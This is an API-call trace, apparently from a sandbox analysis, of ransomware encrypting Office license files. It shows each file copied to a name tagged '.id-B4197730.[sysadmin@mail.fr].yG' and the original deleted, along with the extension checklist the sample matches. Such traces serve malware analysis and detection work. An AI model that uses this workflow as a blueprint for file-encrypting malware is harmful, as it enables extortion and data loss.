	[0175.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0175.601] lstrlenW (lpString=".dbf") returned 4
	[0175.601] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0175.601] lstrlenW (lpString=".1cd") returned 4
	[0175.601] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0175.601] lstrlenW (lpString=".jpg") returned 4
	[0175.601] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.602] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11646) returned 1
	[0175.602] CloseHandle (hObject=0x418) returned 1
	[0175.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms")) returned 0x220
	[0175.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0175.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0175.671] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.671] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0175.672] GetLastError () returned 0x0
	[0175.672] ReadFile (in: hFile=0x2a8, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2d7e, lpOverlapped=0x0) returned 1
	[0175.674] WriteFile (in: hFile=0x408, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0175.676] ReadFile (in: hFile=0x2a8, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.676] WriteFile (in: hFile=0x408, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x124, lpOverlapped=0x0) returned 1
	[0175.676] SetEndOfFile (hFile=0x408) returned 1
	[0175.676] CloseHandle (hObject=0x408) returned 1
	[0175.676] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.676] SetEndOfFile (hFile=0x2a8) returned 1
	[0175.680] CloseHandle (hObject=0x2a8) returned 1
	[0175.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0175.680] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms")) returned 1
	[0175.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0175.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0175.681] lstrlenW (lpString=".doc") returned 4
	[0175.682] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.682] lstrlenW (lpString=".docx") returned 5
	[0175.682] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.682] lstrlenW (lpString=".pdf") returned 4
	[0175.682] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.682] lstrlenW (lpString=".xls") returned 4
	[0175.682] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.682] lstrlenW (lpString=".xlsx") returned 5
	[0175.682] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.682] lstrlenW (lpString=".ppt") returned 4
	[0175.682] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0175.682] lstrlenW (lpString=".zip") returned 4
	[0175.682] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.682] lstrlenW (lpString=".rar") returned 4
	[0175.682] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.682] lstrlenW (lpString=".bz2") returned 4
	[0175.683] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.683] lstrlenW (lpString=".7z") returned 3
	[0175.683] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0175.683] lstrlenW (lpString=".dbf") returned 4
	[0175.683] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0175.683] lstrlenW (lpString=".1cd") returned 4
	[0175.683] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0175.683] lstrlenW (lpString=".jpg") returned 4
	[0175.683] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.684] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11195) returned 1
	[0175.684] CloseHandle (hObject=0x2a8) returned 1
	[0175.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms")) returned 0x220
	[0175.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0175.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0175.685] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.685] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0175.686] GetLastError () returned 0x0
	[0175.686] ReadFile (in: hFile=0x2a8, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2bbb, lpOverlapped=0x0) returned 1
	[0175.691] WriteFile (in: hFile=0x408, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0175.692] ReadFile (in: hFile=0x2a8, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.692] WriteFile (in: hFile=0x408, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0175.692] SetEndOfFile (hFile=0x408) returned 1
	[0175.693] CloseHandle (hObject=0x408) returned 1
	[0175.693] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.693] SetEndOfFile (hFile=0x2a8) returned 1
	[0175.696] CloseHandle (hObject=0x2a8) returned 1
	[0175.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0175.697] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms")) returned 1
	[0175.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0175.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0175.698] lstrlenW (lpString=".doc") returned 4
	[0175.698] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.698] lstrlenW (lpString=".docx") returned 5
	[0175.698] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.698] lstrlenW (lpString=".pdf") returned 4
	[0175.698] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.698] lstrlenW (lpString=".xls") returned 4
	[0175.698] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.698] lstrlenW (lpString=".xlsx") returned 5
	[0175.698] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.698] lstrlenW (lpString=".ppt") returned 4
	[0175.698] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0175.699] lstrlenW (lpString=".zip") returned 4
	[0175.699] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.699] lstrlenW (lpString=".rar") returned 4
	[0175.699] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.699] lstrlenW (lpString=".bz2") returned 4
	[0175.699] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.699] lstrlenW (lpString=".7z") returned 3
	[0175.699] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0175.699] lstrlenW (lpString=".dbf") returned 4
	[0175.699] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0175.699] lstrlenW (lpString=".1cd") returned 4
	[0175.699] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0175.699] lstrlenW (lpString=".jpg") returned 4
	[0175.699] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.700] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=28261) returned 1
	[0175.700] CloseHandle (hObject=0x2a8) returned 1
	[0175.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms")) returned 0x220
	[0175.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0175.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0175.938] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.938] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0176.143] GetLastError () returned 0x0
	[0176.143] ReadFile (in: hFile=0x2a8, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x6e65, lpOverlapped=0x0) returned 1
	[0176.146] WriteFile (in: hFile=0x470, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x6e70, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x6e70, lpOverlapped=0x0) returned 1
	[0176.147] ReadFile (in: hFile=0x2a8, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.147] WriteFile (in: hFile=0x470, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0176.148] SetEndOfFile (hFile=0x470) returned 1
	[0176.148] CloseHandle (hObject=0x470) returned 1
	[0176.148] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.148] SetEndOfFile (hFile=0x2a8) returned 1
	[0176.152] CloseHandle (hObject=0x2a8) returned 1
	[0176.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.156] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms")) returned 1
	[0176.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0176.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0176.157] lstrlenW (lpString=".doc") returned 4
	[0176.157] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.157] lstrlenW (lpString=".docx") returned 5
	[0176.157] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.157] lstrlenW (lpString=".pdf") returned 4
	[0176.157] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.157] lstrlenW (lpString=".xls") returned 4
	[0176.157] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.157] lstrlenW (lpString=".xlsx") returned 5
	[0176.158] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.158] lstrlenW (lpString=".ppt") returned 4
	[0176.158] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0176.158] lstrlenW (lpString=".zip") returned 4
	[0176.158] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.158] lstrlenW (lpString=".rar") returned 4
	[0176.158] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.158] lstrlenW (lpString=".bz2") returned 4
	[0176.158] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.158] lstrlenW (lpString=".7z") returned 3
	[0176.158] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0176.158] lstrlenW (lpString=".dbf") returned 4
	[0176.158] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0176.158] lstrlenW (lpString=".1cd") returned 4
	[0176.158] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87
	[0176.158] lstrlenW (lpString=".jpg") returned 4
	[0176.158] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.159] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=24369) returned 1
	[0176.159] CloseHandle (hObject=0x2a8) returned 1
	[0176.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms")) returned 0x220
	[0176.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0176.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0176.160] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.160] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0176.161] GetLastError () returned 0x0
	[0176.161] ReadFile (in: hFile=0x2a8, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x5f31, lpOverlapped=0x0) returned 1
	[0176.169] WriteFile (in: hFile=0x470, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x5f40, lpOverlapped=0x0) returned 1
	[0176.171] ReadFile (in: hFile=0x2a8, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.171] WriteFile (in: hFile=0x470, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x116, lpOverlapped=0x0) returned 1
	[0176.171] SetEndOfFile (hFile=0x470) returned 1
	[0176.171] CloseHandle (hObject=0x470) returned 1
	[0176.171] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.171] SetEndOfFile (hFile=0x2a8) returned 1
	[0176.184] CloseHandle (hObject=0x2a8) returned 1
	[0176.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.185] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms")) returned 1
	[0176.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0176.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0176.187] lstrlenW (lpString=".doc") returned 4
	[0176.187] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.187] lstrlenW (lpString=".docx") returned 5
	[0176.187] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.187] lstrlenW (lpString=".pdf") returned 4
	[0176.187] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.188] lstrlenW (lpString=".xls") returned 4
	[0176.188] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.188] lstrlenW (lpString=".xlsx") returned 5
	[0176.188] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.188] lstrlenW (lpString=".ppt") returned 4
	[0176.188] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0176.188] lstrlenW (lpString=".zip") returned 4
	[0176.188] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.188] lstrlenW (lpString=".rar") returned 4
	[0176.188] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.188] lstrlenW (lpString=".bz2") returned 4
	[0176.188] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.188] lstrlenW (lpString=".7z") returned 3
	[0176.188] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0176.188] lstrlenW (lpString=".dbf") returned 4
	[0176.188] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0176.188] lstrlenW (lpString=".1cd") returned 4
	[0176.188] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83
	[0176.188] lstrlenW (lpString=".jpg") returned 4
	[0176.188] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.189] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11630) returned 1
	[0176.189] CloseHandle (hObject=0x2a8) returned 1
	[0176.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms")) returned 0x220
